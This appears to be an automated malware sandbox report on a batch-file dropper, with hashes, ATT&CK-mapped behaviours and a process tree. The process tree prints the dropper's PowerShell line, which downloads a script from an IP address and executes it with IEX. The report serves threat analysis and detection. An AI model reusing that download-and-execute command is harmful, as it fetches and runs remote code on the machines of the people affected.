f9366f629ed77ac92ea0a86a9f063f9a33f6cb37c03b8c094f4d74515b930412

General

Target

QtxPGbas.bat
Size

189B
MD5

b896f6ff4553af50764dbf2c947a05bb
SHA1

530bc65bb8cd23bf06865ddb93164f0c6348f578
SHA256

f9366f629ed77ac92ea0a86a9f063f9a33f6cb37c03b8c094f4d74515b930412
SHA512

32377669fab2cc36cd228ef46fc33f15d36d4ef2abdd7c3c93b253d8b7a520c697cc67b80c5bd8762d1b6bac18764adb97edeca3a08e7cd24316a84384405a85

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/QtxPGbas

Signatures

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WerFault.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

5012 4936 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 5012 WerFault.exe
Token: SeBackupPrivilege 5012 WerFault.exe
Token: SeDebugPrivilege 5012 WerFault.exe

pid	pid_target	process	target process
5012	4936	WerFault.exe	powershell.exe

description	pid	process
Token: SeRestorePrivilege	5012	WerFault.exe
Token: SeBackupPrivilege	5012	WerFault.exe
Token: SeDebugPrivilege	5012	WerFault.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

Processes:

WerFault.exe

pid	process
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WerFault.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\QtxPGbas.bat"
1⤵
PID:4892

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/QtxPGbas');Invoke-HGCAMJ;Start-Sleep -s 10000"
2⤵
PID:4936

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4936 -s 704
3⤵
- Enumerates system info in registry
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Checks processor information in registry
PID:5012

\??\c:\windows\system32\taskhostw.exe
taskhostw.exe -RegisterDevice -SettingChange -Full
1⤵
PID:4088

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/5012-0-0x0000000004690000-0x0000000004691000-memory.dmp

Filesize
4KB

Download
memory/5012-1-0x0000000004690000-0x0000000004691000-memory.dmp

Filesize
4KB

Download
memory/5012-3-0x0000000004A90000-0x0000000004A91000-memory.dmp

Filesize
4KB

Download
memory/5012-18-0x00000000051E0000-0x00000000051E1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads